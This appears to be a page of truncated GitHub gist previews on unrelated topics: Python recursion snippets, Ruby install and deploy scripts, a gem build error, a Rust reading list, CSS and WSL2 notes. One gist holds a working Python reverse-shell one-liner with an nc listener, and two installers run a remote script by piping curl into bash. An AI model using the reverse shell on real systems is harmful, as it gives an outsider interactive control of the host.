andrewsmedina

from functools import lru_cache


@lru_cache(maxsize=None)
def fib(n):
    if n < 2:
        return n
    return fib(n-1) + fib(n-2)

hltbra

import sys

def tail_recursion_with_stack_inspection(g):
    '''
    Version of tail_recursion decorator using stack-frame inspection.    
    '''
    loc_vars ={"in_loop":False,"cnt":0}
    
    def result(*args, **kwd):
        if not loc_vars["in_loop"]:

welingtonsampaio

##
# Fazendo deploy com o capistrano de uma aplicação Rails
# usando servidores da Amazon ec2 e unicorn como servidor
# o versionamento do ruby no ambiente de produção foi feito
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO
# esta com o Centos 5.3 x64
#
# Primeiramente é necessario instalar a gem com o comando:
# gem install capistrano
# ou adicione a linha: gem "capistrano", :group => :development

dergachev

# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

# on the CLIENT, run the following:
#   nc -l 12345

# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345

# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345

blacktm

#!/bin/bash

# --------------------------------------------------------------------------------------------
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
#   bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------

# Set the Ruby version you want to install

nodecarter

$ gem install rmagick -v '2.12.2'                                                    [ruby-1.9.3-p551]
Building native extensions.  This could take a while...
ERROR:  Error installing rmagick:
	ERROR: Failed to build gem native extension.

    /Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb
checking for Ruby version >= 1.8.5... yes
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config.
checking for gcc-4.9... yes
checking for Magick-config... yes

brson

Edit: This list is now maintained in the rust-anthology repo.

• Introduction
  • Understanding Over Guesswork
  • An Alternative Introduction to Rust
  • Rust and CSV Parsing
• Ownership
  • Where Rust Really Shines
  • Rust Means Never Having to Close a Socket
• The Problem with Single-threaded Shared Mutability

douglascamata

#!/bin/bash

# --------------------------------------------------------------------------------------------
# Installs Ruby 2.5 using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
#   bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------

# Welcome message

JoeyBurzynski

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}

ld100

Migrating from Ubuntu on WSL to ArchLinux on WSL2

Obsolete notice

This document was created back in 2020 and might not be actual nowadays. It is not supported anymore, so use thise information at your own risk.

Upgrading to WSL 2

• Download WSL2 Kernel
• run wsl --set-default-version 2 in windows command line, so that all future WSL machine will use WSL2.